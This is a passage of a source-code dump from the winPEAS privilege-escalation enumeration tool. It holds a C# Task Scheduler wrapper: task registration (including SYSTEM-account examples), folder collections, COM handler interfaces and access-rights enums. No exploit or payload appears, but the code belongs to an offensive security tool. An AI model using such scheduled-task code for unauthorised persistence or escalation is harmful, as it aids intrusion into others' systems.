<ScheduleByDay />\" +\n        ///    \"    </CalendarTrigger>\" +\n        ///    \"  </Triggers>\" +\n        ///    \"  <Actions Context=\\\"Author\\\">\" +\n        ///    \"    <Exec>\" +\n        ///    \"      <Command>cmd</Command>\" +\n        ///    \"    </Exec>\" +\n        ///    \"  </Actions>\" +\n        ///    \"</Task>\";\n        /// // Register the task in the root folder of the local machine using the SYSTEM account defined in XML\n        /// TaskService.Instance.RootFolder.RegisterTaskDefinition(\"Test\", xml);\n        /// ]]></code></example>\n        public Task RegisterTask(string path, [NotNull] string xmlText, TaskCreation createType = TaskCreation.CreateOrUpdate, string userId = null, string password = null, TaskLogonType logonType = TaskLogonType.S4U, string sddl = null)\n        {\n            if (v2Folder != null)\n                return Task.CreateTask(TaskService, v2Folder.RegisterTask(path, xmlText, (int)createType, userId, password, logonType, sddl));\n\n            TaskDefinition td = TaskService.NewTask();\n            XmlSerializationHelper.ReadObjectFromXmlText(xmlText, td);\n            return RegisterTaskDefinition(path, td, createType, userId ?? td.Principal.ToString(),\n                password, logonType == TaskLogonType.S4U ? td.Principal.LogonType : logonType, sddl);\n        }\n\n        /// <summary>\n        /// Registers (creates) a task in a specified location using a <see cref=\"TaskDefinition\"/> instance to define a task.\n        /// </summary>\n        /// <param name=\"path\">The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>\n        /// <param name=\"definition\">The <see cref=\"TaskDefinition\"/> of the registered task.</param>\n        /// <returns>A <see cref=\"Task\"/> instance that represents the new task.</returns>\n        /// <example>\n        /// <code lang=\"cs\"><![CDATA[\n        /// // Create a new task definition for the local machine and assign properties\n        /// TaskDefinition td = TaskService.Instance.NewTask();\n        /// td.RegistrationInfo.Description = \"Does something\";\n        /// \n        /// // Add a trigger that, starting tomorrow, will fire every other week on Monday and Saturday\n        /// td.Triggers.Add(new WeeklyTrigger(DaysOfTheWeek.Monday | DaysOfTheWeek.Saturday, 2));\n        /// \n        /// // Create an action that will launch Notepad whenever the trigger fires\n        /// td.Actions.Add(\"notepad.exe\", \"c:\\\\test.log\");\n        /// \n        /// // Register the task in the root folder of the local machine using the current user and the S4U logon type\n        /// TaskService.Instance.RootFolder.RegisterTaskDefinition(\"Test\", td);\n        /// ]]></code></example>\n        public Task RegisterTaskDefinition(string path, [NotNull] TaskDefinition definition) => RegisterTaskDefinition(path, definition, TaskCreation.CreateOrUpdate,\n                definition.Principal.ToString(), null, definition.Principal.LogonType);\n\n        /// <summary>\n        /// Registers (creates) a task in a specified location using a <see cref=\"TaskDefinition\" /> instance to define a task.\n        /// </summary>\n        /// <param name=\"path\">The task name. If this value is NULL, the task will be registered in the root task folder and the task name will be a GUID value that is created by the Task Scheduler service. A task name cannot begin or end with a space character. The '.' character cannot be used to specify the current task folder and the '..' characters cannot be used to specify the parent task folder in the path.</param>\n        /// <param name=\"definition\">The <see cref=\"TaskDefinition\" /> of the registered task.</param>\n        /// <param name=\"createType\">A union of <see cref=\"TaskCreation\" /> flags.</param>\n        /// <param name=\"userId\">The user credentials used to register the task.</param>\n        /// <param name=\"password\">The password for the userId used to register the task.</param>\n        /// <param name=\"logonType\">A <see cref=\"TaskLogonType\" /> value that defines what logon technique is used to run the registered task.</param>\n        /// <param name=\"sddl\">The security descriptor associated with the registered task. You can specify the access control list (ACL) in the security descriptor for a task in order to allow or deny certain users and groups access to a task.</param>\n        /// <returns>\n        /// A <see cref=\"Task\" /> instance that represents the new task. This will return <c>null</c> if <paramref name=\"createType\"/> is set to <c>ValidateOnly</c> and there are no validation errors.\n        /// </returns>\n        /// <exception cref=\"System.ArgumentOutOfRangeException\">\n        /// Task names may not include any characters which are invalid for file names.\n        /// or\n        /// Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library.\n        /// </exception>\n        /// <exception cref=\"NotV1SupportedException\">This LogonType is not supported on Task Scheduler 1.0.\n        /// or\n        /// Security settings are not available on Task Scheduler 1.0.\n        /// or\n        /// Registration triggers are not available on Task Scheduler 1.0.\n        /// or\n        /// XML validation not available on Task Scheduler 1.0.</exception>\n        /// <remarks>This method is effectively the \"Save\" method for tasks. It takes a modified <c>TaskDefinition</c> instance and registers it in the folder defined by this <c>TaskFolder</c> instance. Optionally, you can use this method to override the user, password and logon type defined in the definition and supply security against the task.</remarks>\n        /// <example>\n        /// <para>This first example registers a simple task with a single trigger and action using the default security.</para>\n        /// <code lang=\"cs\"><![CDATA[\n        /// // Create a new task definition for the local machine and assign properties\n        /// TaskDefinition td = TaskService.Instance.NewTask();\n        /// td.RegistrationInfo.Description = \"Does something\";\n        /// \n        /// // Add a trigger that, starting tomorrow, will fire every other week on Monday and Saturday\n        /// td.Triggers.Add(new WeeklyTrigger(DaysOfTheWeek.Monday | DaysOfTheWeek.Saturday, 2));\n        /// \n        /// // Create an action that will launch Notepad whenever the trigger fires\n        /// td.Actions.Add(\"notepad.exe\", \"c:\\\\test.log\");\n        /// \n        /// // Register the task in the root folder of the local machine using the current user and the S4U logon type\n        /// TaskService.Instance.RootFolder.RegisterTaskDefinition(\"Test\", td);\n        /// ]]></code>\n        /// <para>This example registers that same task using the SYSTEM account.</para>\n        /// <code lang=\"cs\"><![CDATA[\n        /// TaskService.Instance.RootFolder.RegisterTaskDefinition(\"TaskName\", taskDefinition, TaskCreation.CreateOrUpdate, \"SYSTEM\", null, TaskLogonType.ServiceAccount);\n        /// ]]></code>\n        /// <para>This example registers that same task using a specific username and password along with a security definition.</para>\n        /// <code lang=\"cs\"><![CDATA[\n        /// TaskService.Instance.RootFolder.RegisterTaskDefinition(\"TaskName\", taskDefinition, TaskCreation.CreateOrUpdate, \"userDomain\\\\userName\", \"userPassword\", TaskLogonType.Password, @\"O:BAG:DUD:(A;ID;0x1f019f;;;BA)(A;ID;0x1f019f;;;SY)(A;ID;FA;;;BA)(A;;FR;;;BU)\");\n        /// ]]></code></example>\n        public Task RegisterTaskDefinition([NotNull] string path, [NotNull] TaskDefinition definition, TaskCreation createType, string userId, string password = null, TaskLogonType logonType = TaskLogonType.S4U, string sddl = null)\n        {\n            if (definition.Actions.Count < 1 || definition.Actions.Count > 32)\n                throw new ArgumentOutOfRangeException(nameof(definition.Actions), @\"A task must be registered with at least one action and no more than 32 actions.\");\n\n            userId ??= definition.Principal.Account;\n            if (userId == string.Empty) userId = null;\n            User user = new User(userId);\n            if (v2Folder != null)\n            {\n                definition.Actions.ConvertUnsupportedActions();\n                if (logonType == TaskLogonType.ServiceAccount)\n                {\n                    if (string.IsNullOrEmpty(userId) || !user.IsServiceAccount)\n                        throw new ArgumentException(@\"A valid system account name must be supplied for TaskLogonType.ServiceAccount. Valid entries are \"\"NT AUTHORITY\\SYSTEM\"\", \"\"SYSTEM\"\", \"\"NT AUTHORITY\\LOCALSERVICE\"\", or \"\"NT AUTHORITY\\NETWORKSERVICE\"\".\", nameof(userId));\n                    if (password != null)\n                        throw new ArgumentException(@\"A password cannot be supplied when specifying TaskLogonType.ServiceAccount.\", nameof(password));\n                }\n                /*else if ((LogonType == TaskLogonType.Password || LogonType == TaskLogonType.InteractiveTokenOrPassword ||\n\t\t\t\t\t(LogonType == TaskLogonType.S4U && UserId != null && !user.IsCurrent)) && password == null)\n\t\t\t\t{\n\t\t\t\t\tthrow new ArgumentException(\"A password must be supplied when specifying TaskLogonType.Password or TaskLogonType.InteractiveTokenOrPassword or TaskLogonType.S4U from another account.\", nameof(password));\n\t\t\t\t}*/\n                else if (logonType == TaskLogonType.Group && password != null)\n                {\n                    throw new ArgumentException(@\"A password cannot be supplied when specifying TaskLogonType.Group.\", nameof(password));\n                }\n                // The following line compensates for an omission in the native library that never actually sets the registration date (thanks ixm7).\n                if (definition.RegistrationInfo.Date == DateTime.MinValue) definition.RegistrationInfo.Date = DateTime.Now;\n                var iRegTask = v2Folder.RegisterTaskDefinition(path, definition.v2Def, (int)createType, userId ?? user.Name, password, logonType, sddl);\n                if (createType == TaskCreation.ValidateOnly && iRegTask == null)\n                    return null;\n                return Task.CreateTask(TaskService, iRegTask);\n            }\n\n            // Check for V1 invalid task names\n            string invChars = Regex.Escape(new string(System.IO.Path.GetInvalidFileNameChars()));\n            if (Regex.IsMatch(path, @\"[\" + invChars + @\"]\"))\n                throw new ArgumentOutOfRangeException(nameof(path), @\"Task names may not include any characters which are invalid for file names.\");\n            if (Regex.IsMatch(path, @\"\\.[^\" + invChars + @\"]{0,3}\\z\"))\n                throw new ArgumentOutOfRangeException(nameof(path), @\"Task names ending with a period followed by three or fewer characters cannot be retrieved due to a bug in the native library.\");\n\n            // Adds ability to set a password for a V1 task. Provided by Arcao.\n            TaskFlags flags = definition.v1Task.GetFlags();\n            if (logonType == TaskLogonType.InteractiveTokenOrPassword && string.IsNullOrEmpty(password))\n                logonType = TaskLogonType.InteractiveToken;\n            switch (logonType)\n            {\n                case TaskLogonType.Group:\n                case TaskLogonType.S4U:\n                case TaskLogonType.None:\n                    throw new NotV1SupportedException(\"This LogonType is not supported on Task Scheduler 1.0.\");\n                case TaskLogonType.InteractiveToken:\n                    flags |= (TaskFlags.RunOnlyIfLoggedOn | TaskFlags.Interactive);\n                    definition.v1Task.SetAccountInformation(user.Name, IntPtr.Zero);\n                    break;\n                case TaskLogonType.ServiceAccount:\n                    flags &= ~(TaskFlags.Interactive | TaskFlags.RunOnlyIfLoggedOn);\n                    definition.v1Task.SetAccountInformation((String.IsNullOrEmpty(userId) || user.IsSystem) ? String.Empty : user.Name, IntPtr.Zero);\n                    break;\n                case TaskLogonType.InteractiveTokenOrPassword:\n                    flags |= TaskFlags.Interactive;\n                    using (CoTaskMemString cpwd = new CoTaskMemString(password))\n                        definition.v1Task.SetAccountInformation(user.Name, cpwd.DangerousGetHandle());\n                    break;\n                case TaskLogonType.Password:\n                    using (CoTaskMemString cpwd = new CoTaskMemString(password))\n                        definition.v1Task.SetAccountInformation(user.Name, cpwd.DangerousGetHandle());\n                    break;\n                default:\n                    throw new ArgumentOutOfRangeException(nameof(logonType), logonType, null);\n            }\n            definition.v1Task.SetFlags(flags);\n\n            switch (createType)\n            {\n                case TaskCreation.Create:\n                case TaskCreation.CreateOrUpdate:\n                case TaskCreation.Disable:\n                case TaskCreation.Update:\n                    if (createType == TaskCreation.Disable)\n                        definition.Settings.Enabled = false;\n                    definition.V1Save(path);\n                    break;\n                case TaskCreation.DontAddPrincipalAce:\n                    throw new NotV1SupportedException(\"Security settings are not available on Task Scheduler 1.0.\");\n                case TaskCreation.IgnoreRegistrationTriggers:\n                    throw new NotV1SupportedException(\"Registration triggers are not available on Task Scheduler 1.0.\");\n                case TaskCreation.ValidateOnly:\n                    throw new NotV1SupportedException(\"XML validation not available on Task Scheduler 1.0.\");\n                default:\n                    throw new ArgumentOutOfRangeException(nameof(createType), createType, null);\n            }\n            return new Task(TaskService, definition.v1Task);\n        }\n\n        /// <summary>\n        /// Applies access control list (ACL) entries described by a <see cref=\"TaskSecurity\"/> object to the file described by the current <see cref=\"TaskFolder\"/> object.\n        /// </summary>\n        /// <param name=\"taskSecurity\">A <see cref=\"TaskSecurity\"/> object that describes an access control list (ACL) entry to apply to the current folder.</param>\n        public void SetAccessControl([NotNull] TaskSecurity taskSecurity) { taskSecurity.Persist(this); }\n\n        /// <summary>\n        /// Sets the security descriptor for the folder. Not available to Task Scheduler 1.0.\n        /// </summary>\n        /// <param name=\"sd\">The security descriptor for the folder.</param>\n        /// <param name=\"includeSections\">Section(s) of the security descriptor to set.</param>\n        [Obsolete(\"This method will be removed in deference to the SetAccessControl and SetSecurityDescriptorSddlForm methods.\")]\n        public void SetSecurityDescriptor([NotNull] GenericSecurityDescriptor sd, SecurityInfos includeSections = Task.defaultSecurityInfosSections) { SetSecurityDescriptorSddlForm(sd.GetSddlForm((AccessControlSections)includeSections)); }\n\n        /// <summary>\n        /// Sets the security descriptor for the folder. Not available to Task Scheduler 1.0.\n        /// </summary>\n        /// <param name=\"sddlForm\">The security descriptor for the folder.</param>\n        /// <param name=\"options\">Flags that specify how to set the security descriptor.</param>\n        /// <exception cref=\"NotV1SupportedException\">Not supported under Task Scheduler 1.0.</exception>\n        public void SetSecurityDescriptorSddlForm([NotNull] string sddlForm, TaskSetSecurityOptions options = TaskSetSecurityOptions.None)\n        {\n            if (v2Folder != null)\n                v2Folder.SetSecurityDescriptor(sddlForm, (int)options);\n            else\n                throw new NotV1SupportedException();\n        }\n\n        /// <summary>\n        /// Returns a <see cref=\"System.String\"/> that represents this instance.\n        /// </summary>\n        /// <returns>\n        /// A <see cref=\"System.String\"/> that represents this instance.\n        /// </returns>\n        public override string ToString() => Path;\n\n        /// <summary>\n        /// Enumerates the tasks in the specified folder and its child folders.\n        /// </summary>\n        /// <param name=\"folder\">The folder in which to start enumeration.</param>\n        /// <param name=\"filter\">An optional filter to apply to the task list.</param>\n        /// <param name=\"recurse\"><c>true</c> if subfolders are to be queried recursively.</param>\n        /// <returns>A <see cref=\"System.Collections.Generic.IEnumerator{Task}\"/> that can be used to iterate through the tasks.</returns>\n        internal static IEnumerable<Task> EnumerateFolderTasks(TaskFolder folder, Predicate<Task> filter = null, bool recurse = true)\n        {\n            foreach (var task in folder.Tasks)\n                if (filter == null || filter(task))\n                    yield return task;\n\n            if (!recurse) yield break;\n\n            foreach (var sfld in folder.SubFolders)\n                foreach (var task in EnumerateFolderTasks(sfld, filter))\n                    yield return task;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/TaskFolderCollection.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Collections.Specialized;\nusing System.ComponentModel;\nusing System.Runtime.CompilerServices;\nusing winPEAS.TaskScheduler.TaskEditor.Native;\nusing winPEAS.TaskScheduler.V2;\n\nnamespace winPEAS.TaskScheduler\n{\n    /// <summary>Provides information and control for a collection of folders that contain tasks.</summary>\n    public sealed class TaskFolderCollection : ICollection<TaskFolder>, IDisposable, INotifyCollectionChanged, INotifyPropertyChanged\n    {\n        private const string IndexerName = \"Item[]\";\n        private readonly TaskFolder parent;\n        private readonly TaskFolder[] v1FolderList;\n        private readonly ITaskFolderCollection v2FolderList;\n\n        internal TaskFolderCollection() => v1FolderList = new TaskFolder[0];\n\n        internal TaskFolderCollection([NotNull] TaskFolder folder, [NotNull] ITaskFolderCollection iCollection)\n        {\n            parent = folder;\n            v2FolderList = iCollection;\n        }\n\n        /// <summary>Occurs when a collection changes.</summary>\n        public event NotifyCollectionChangedEventHandler CollectionChanged;\n\n        /// <summary>Occurs when a property value changes.</summary>\n        public event PropertyChangedEventHandler PropertyChanged;\n\n        /// <summary>Gets the number of items in the collection.</summary>\n        public int Count => v2FolderList?.Count ?? v1FolderList.Length;\n\n        /// <summary>Gets a value indicating whether the <see cref=\"ICollection{T}\"/> is read-only.</summary>\n        bool ICollection<TaskFolder>.IsReadOnly => false;\n\n        /// <summary>Gets the specified folder from the collection.</summary>\n        /// <param name=\"index\">The index of the folder to be retrieved.</param>\n        /// <returns>A TaskFolder instance that represents the requested folder.</returns>\n        public TaskFolder this[int index]\n        {\n            get\n            {\n                if (v2FolderList != null)\n                    return new TaskFolder(parent.TaskService, v2FolderList[++index]);\n                return v1FolderList[index];\n            }\n        }\n\n        /// <summary>Gets the specified folder from the collection.</summary>\n        /// <param name=\"path\">The path of the folder to be retrieved.</param>\n        /// <returns>A TaskFolder instance that represents the requested folder.</returns>\n        public TaskFolder this[[NotNull] string path]\n        {\n            get\n            {\n                try\n                {\n                    if (v2FolderList != null)\n                        return parent.GetFolder(path);\n                    if (v1FolderList != null && v1FolderList.Length > 0 && (path == string.Empty || path == \"\\\\\"))\n                        return v1FolderList[0];\n                }\n                catch { }\n                throw new ArgumentException(@\"Path not found\", nameof(path));\n            }\n        }\n\n        /// <summary>Adds an item to the <see cref=\"ICollection{T}\"/>.</summary>\n        /// <param name=\"item\">The object to add to the <see cref=\"ICollection{T}\"/>.</param>\n        /// <exception cref=\"System.NotImplementedException\">\n        /// This action is technically unfeasible due to limitations of the underlying library. Use the <see\n        /// cref=\"TaskFolder.CreateFolder(string, string, bool)\"/> instead.\n        /// </exception>\n        public void Add([NotNull] TaskFolder item) => throw new NotImplementedException();\n\n        /// <summary>Removes all items from the <see cref=\"ICollection{T}\"/>.</summary>\n        public void Clear()\n        {\n            if (v2FolderList != null)\n            {\n                for (var i = v2FolderList.Count; i > 0; i--)\n                    parent.DeleteFolder(v2FolderList[i].Name, false);\n                OnNotifyPropertyChanged(nameof(Count));\n                OnNotifyPropertyChanged(IndexerName);\n                CollectionChanged?.Invoke(this, new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Reset));\n            }\n        }\n\n        /// <summary>Determines whether the <see cref=\"ICollection{T}\"/> contains a specific value.</summary>\n        /// <param name=\"item\">The object to locate in the <see cref=\"ICollection{T}\"/>.</param>\n        /// <returns>true if <paramref name=\"item\"/> is found in the <see cref=\"ICollection{T}\"/>; otherwise, false.</returns>\n        public bool Contains([NotNull] TaskFolder item)\n        {\n            if (v2FolderList != null)\n            {\n                for (var i = v2FolderList.Count; i > 0; i--)\n                    if (string.Equals(item.Path, v2FolderList[i].Path, StringComparison.CurrentCultureIgnoreCase))\n                        return true;\n            }\n            else\n                return item.Path == \"\\\\\";\n            return false;\n        }\n\n        /// <summary>Copies the elements of the ICollection to an Array, starting at a particular Array index.</summary>\n        /// <param name=\"array\">\n        /// The one-dimensional Array that is the destination of the elements copied from <see cref=\"ICollection{T}\"/>. The Array must have\n        /// zero-based indexing.\n        /// </param>\n        /// <param name=\"arrayIndex\">The zero-based index in array at which copying begins.</param>\n        public void CopyTo(TaskFolder[] array, int arrayIndex)\n        {\n            if (arrayIndex < 0) throw new ArgumentOutOfRangeException(nameof(arrayIndex));\n            if (array == null) throw new ArgumentNullException(nameof(array));\n            if (v2FolderList != null)\n            {\n                if (arrayIndex + Count > array.Length)\n                    throw new ArgumentException();\n                foreach (var f in this)\n                    array[arrayIndex++] = f;\n            }\n            else\n            {\n                if (arrayIndex + v1FolderList.Length > array.Length)\n                    throw new ArgumentException();\n                v1FolderList.CopyTo(array, arrayIndex);\n            }\n        }\n\n        /// <summary>Releases all resources used by this class.</summary>\n        public void Dispose()\n        {\n            if (v1FolderList != null && v1FolderList.Length > 0)\n            {\n                v1FolderList[0].Dispose();\n                v1FolderList[0] = null;\n            }\n            if (v2FolderList != null)\n                System.Runtime.InteropServices.Marshal.ReleaseComObject(v2FolderList);\n        }\n\n        /// <summary>Determines whether the specified folder exists.</summary>\n        /// <param name=\"path\">The path of the folder.</param>\n        /// <returns>true if folder exists; otherwise, false.</returns>\n        public bool Exists([NotNull] string path)\n        {\n            try\n            {\n                parent.GetFolder(path);\n                return true;\n            }\n            catch { }\n            return false;\n        }\n\n        /// <summary>Gets a list of items in a collection.</summary>\n        /// <returns>Enumerated list of items in the collection.</returns>\n        public IEnumerator<TaskFolder> GetEnumerator()\n        {\n            if (v2FolderList != null)\n                return new ComEnumerator<TaskFolder, ITaskFolder>(() => v2FolderList.Count, (object o) => v2FolderList[o], o => new TaskFolder(parent.TaskService, o));\n            return Array.AsReadOnly(v1FolderList).GetEnumerator();\n        }\n\n        /*\n\t\t/// <summary>Returns the index of the TaskFolder within the collection.</summary>\n\t\t/// <param name=\"item\">TaskFolder to find.</param>\n\t\t/// <returns>Index of the TaskFolder; -1 if not found.</returns>\n\t\tpublic int IndexOf(TaskFolder item)\n\t\t{\n\t\t\treturn IndexOf(item.Path);\n\t\t}\n\n\t\t/// <summary>Returns the index of the TaskFolder within the collection.</summary>\n\t\t/// <param name=\"path\">Path to find.</param>\n\t\t/// <returns>Index of the TaskFolder; -1 if not found.</returns>\n\t\tpublic int IndexOf(string path)\n\t\t{\n\t\t\tif (v2FolderList != null)\n\t\t\t{\n\t\t\t\tfor (int i = 0; i < v2FolderList.Count; i++)\n\t\t\t\t{\n\t\t\t\t\tif (v2FolderList[new System.Runtime.InteropServices.VariantWrapper(i)].Path == path)\n\t\t\t\t\t\treturn i;\n\t\t\t\t}\n\t\t\t\treturn -1;\n\t\t\t}\n\t\t\telse\n\t\t\t\treturn (v1FolderList.Length > 0 && (path == string.Empty || path == \"\\\\\")) ? 0 : -1;\n\t\t}\n\t\t*/\n\n        /// <summary>Removes the first occurrence of a specific object from the <see cref=\"ICollection{T}\"/>.</summary>\n        /// <param name=\"item\">The object to remove from the <see cref=\"ICollection{T}\"/>.</param>\n        /// <returns>\n        /// true if <paramref name=\"item\"/> was successfully removed from the <see cref=\"ICollection{T}\"/>; otherwise, false. This method\n        /// also returns false if <paramref name=\"item\"/> is not found in the original <see cref=\"ICollection{T}\"/>.\n        /// </returns>\n        public bool Remove([NotNull] TaskFolder item)\n        {\n            if (v2FolderList != null)\n            {\n                for (var i = v2FolderList.Count; i > 0; i--)\n                {\n                    if (string.Equals(item.Path, v2FolderList[i].Path, StringComparison.CurrentCultureIgnoreCase))\n                    {\n                        try\n                        {\n                            parent.DeleteFolder(v2FolderList[i].Name);\n                            OnNotifyPropertyChanged(nameof(Count));\n                            OnNotifyPropertyChanged(IndexerName);\n                            CollectionChanged?.Invoke(this, new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Remove, item, i));\n                        }\n                        catch\n                        {\n                            return false;\n                        }\n                        return true;\n                    }\n                }\n            }\n            return false;\n        }\n\n        System.Collections.IEnumerator System.Collections.IEnumerable.GetEnumerator() => GetEnumerator();\n\n        /// <summary>Called when a property has changed to notify any attached elements.</summary>\n        /// <param name=\"propertyName\">Name of the property.</param>\n        private void OnNotifyPropertyChanged([CallerMemberName] string propertyName = \"\") => PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName));\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/TaskHandlerInterfaces.cs",
    "content": "﻿using System;\nusing System.Runtime.InteropServices;\n\nnamespace winPEAS.TaskScheduler\n{\n    /// <summary>\n    /// Defines the methods that are called by the Task Scheduler service to manage a COM handler.\n    /// </summary>\n    /// <remarks>\n    /// This interface must be implemented for a task to perform a COM handler action. When the Task Scheduler performs a COM handler action, it creates and activates the handler and calls the methods of this interface as needed. For information on specifying a COM handler action, see the <see cref=\"ComHandlerAction\"/> class.\n    /// </remarks>\n    [ComImport, Guid(\"839D7762-5121-4009-9234-4F0D19394F04\"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), System.Security.SuppressUnmanagedCodeSecurity]\n    public interface ITaskHandler\n    {\n        /// <summary>\n        /// Called to start the COM handler. This method must be implemented by the handler.\n        /// </summary>\n        /// <param name=\"pHandlerServices\">An <c>IUnkown</c> interface that is used to communicate back with the Task Scheduler.</param>\n        /// <param name=\"data\">The arguments that are required by the handler. These arguments are defined in the <see cref=\"ComHandlerAction.Data\"/> property of the COM handler action.</param>\n        void Start([In, MarshalAs(UnmanagedType.IUnknown)] object pHandlerServices, [In, MarshalAs(UnmanagedType.BStr)] string data);\n        /// <summary>\n        /// Called to stop the COM handler. This method must be implemented by the handler.\n        /// </summary>\n        /// <param name=\"pRetCode\">The return code that the Task Schedule will raise as an event when the COM handler action is completed.</param>\n        void Stop([MarshalAs(UnmanagedType.Error)] out int pRetCode);\n        /// <summary>\n        /// Called to pause the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to pause and restart the handler.\n        /// </summary>\n        void Pause();\n        /// <summary>\n        /// Called to resume the COM handler. This method is optional and should only be implemented to give the Task Scheduler the ability to resume the handler.\n        /// </summary>\n        void Resume();\n    }\n\n    /// <summary>\n    /// Provides the methods that are used by COM handlers to notify the Task Scheduler about the status of the handler.\n    /// </summary>\n    [ComImport, Guid(\"EAEC7A8F-27A0-4DDC-8675-14726A01A38A\"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown), System.Security.SuppressUnmanagedCodeSecurity]\n    public interface ITaskHandlerStatus\n    {\n        /// <summary>\n        /// Tells the Task Scheduler about the percentage of completion of the COM handler.\n        /// </summary>\n        /// <param name=\"percentComplete\">A value that indicates the percentage of completion for the COM handler.</param>\n        /// <param name=\"statusMessage\">The message that is displayed in the Task Scheduler UI.</param>\n        void UpdateStatus([In] short percentComplete, [In, MarshalAs(UnmanagedType.BStr)] string statusMessage);\n        /// <summary>\n        /// Tells the Task Scheduler that the COM handler is completed.\n        /// </summary>\n        /// <param name=\"taskErrCode\">The error code that the Task Scheduler will raise as an event.</param>\n        void TaskCompleted([In, MarshalAs(UnmanagedType.Error)] int taskErrCode);\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/TaskScheduler/TaskSecurity.cs",
    "content": "﻿using System;\nusing System.Security;\nusing System.Security.AccessControl;\nusing System.Security.Principal;\n\nnamespace winPEAS.TaskScheduler\n{\n    /// <summary>\n    /// Specifies the access control rights that can be applied to Task Scheduler tasks.\n    /// </summary>\n    [Flags]\n    public enum TaskRights\n    {\n        /// <summary>Specifies the right to exert full control over a task folder or task, and to modify access control and audit rules. This value represents the right to do anything with a task and is the combination of all rights in this enumeration.</summary>\n        FullControl = 0x1f01ff,\n        /// <summary>Specifies the right to create tasks and folders, and to add or remove data from tasks. This right includes the following rights: .</summary>\n        Write = 0x120116,\n        /// <summary>Specifies the right to open and copy folders or tasks as read-only. This right includes the following rights: .</summary>\n        Read = 0x120089,\n        /// <summary>Specifies the right run tasks. This right includes the following rights: .</summary>\n        Execute = 0x120089,\n        /// <summary>The right to wait on a task.</summary>\n        Synchronize = 0x100000,\n        /// <summary>The right to change the owner of a task.</summary>\n        TakeOwnership = 0x80000,\n        /// <summary>Specifies the right to change the security and audit rules associated with a task or folder.</summary>\n        ChangePermissions = 0x40000,\n        /// <summary>The right to open and copy the access rules and audit rules for a task.</summary>\n        ReadPermissions = 0x20000,\n        /// <summary>The right to delete a folder or task.</summary>\n        Delete = 0x10000,\n        /// <summary>Specifies the right to open and write file system attributes to a folder or file. This does not include the ability to write data, extended attributes, or access and audit rules.</summary>\n        WriteAttributes = 0x100,\n        /// <summary>Specifies the right to open and copy file system attributes from a folder or task. For example, this value specifies the right to view the file creation or modified date. This does not include the right to read data, extended file system attributes, or access and audit rules.</summary>\n        ReadAttributes = 0x80,\n        /// <summary>Specifies the right to delete a folder and any tasks contained within that folder.</summary>\n        DeleteChild = 0x40,\n        /// <summary>Specifies the right to run a task.</summary>\n        ExecuteFile = 0x20,\n        /// <summary>Specifies the right to open and write extended file system attributes to a folder or file. This does not include the ability to write data, attributes, or access and audit rules.</summary>\n        WriteExtendedAttributes = 0x10,\n        /// <summary>Specifies the right to open and copy extended system attributes from a folder or task. For example, this value specifies the right to view author and content information. This does not include the right to read data, system attributes, or access and audit rules.</summary>\n        ReadExtendedAttributes = 8,\n        /// <summary>Specifies the right to append data to the end of a file.</summary>\n        AppendData = 4,\n        /// <summary>Specifies the right to open and write to a file or folder. This does not include the right to open and write file system attributes, extended file system attributes, or access and audit rules.</summary>\n        WriteData = 2,\n        /// <summary>Specifies the right to open and copy a task or folder. This does not include the right to read file system attributes, extended file system attributes, or access and audit rules.</summary>\n        ReadData = 1,\n    }\n\n    /// <summary>\n    /// Represents a set of access rights allowed or denied for a user or group. This class cannot be inherited.\n    /// </summary>\n    public sealed class TaskAccessRule : AccessRule\n    {\n        /// <summary>\n        /// Initializes a new instance of the <see cref=\"TaskAccessRule\"/> class, specifying the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied.\n        /// </summary>\n        /// <param name=\"identity\">The user or group the rule applies to. Must be of type <see cref=\"SecurityIdentifier\"/> or a type such as <see cref=\"NTAccount\"/> that can be converted to type <see cref=\"SecurityIdentifier\"/>.</param>\n        /// <param name=\"eventRights\">A bitwise combination of <see cref=\"TaskRights\"/> values specifying the rights allowed or denied.</param>\n        /// <param name=\"type\">One of the <see cref=\"AccessControlType\"/> values specifying whether the rights are allowed or denied.</param>\n        public TaskAccessRule([NotNull] IdentityReference identity, TaskRights eventRights, AccessControlType type)\n            : this(identity, (int)eventRights, false, InheritanceFlags.None, PropagationFlags.None, type)\n        {\n        }\n\n        /// <summary>\n        /// Initializes a new instance of the <see cref=\"TaskAccessRule\"/> class, specifying the name of the user or group the rule applies to, the access rights, and whether the specified access rights are allowed or denied.\n        /// </summary>\n        /// <param name=\"identity\">The name of the user or group the rule applies to.</param>\n        /// <param name=\"eventRights\">A bitwise combination of <see cref=\"TaskRights\"/> values specifying the rights allowed or denied.</param>\n        /// <param name=\"type\">One of the <see cref=\"AccessControlType\"/> values specifying whether the rights are allowed or denied.</param>\n        public TaskAccessRule([NotNull] string identity, TaskRights eventRights, AccessControlType type)\n            : this(new NTAccount(identity), (int)eventRights, false, InheritanceFlags.None, PropagationFlags.None, type)\n        {\n        }\n\n        private TaskAccessRule([NotNull] IdentityReference identity, int accessMask, bool isInherited, InheritanceFlags inheritanceFlags, PropagationFlags propagationFlags, AccessControlType type)\n            : base(identity, accessMask, isInherited, inheritanceFlags, propagationFlags, type)\n        {\n        }\n\n        /// <summary>\n        /// Gets the rights allowed or denied by the access rule.\n        /// </summary>\n        /// <value>\n        /// A bitwise combination of <see cref=\"TaskRights\"/> values indicating the rights allowed or denied by the access rule.\n        /// </value>\n        public TaskRights TaskRights => (TaskRights)AccessMask;\n    }\n\n    /// <summary>\n    /// Represents a set of access rights to be audited for a user or group. This class cannot be inherited.\n    /// </summary>\n    public sealed class TaskAuditRule : AuditRule\n    {\n        /// <summary>\n        /// Initializes a new instance of the <see cref=\"TaskAuditRule\" /> class, specifying the user or group to audit, the rights to audit, and whether to audit success, failure, or both.\n        /// </summary>\n        /// <param name=\"identity\">The user or group the rule applies to. Must be of type <see 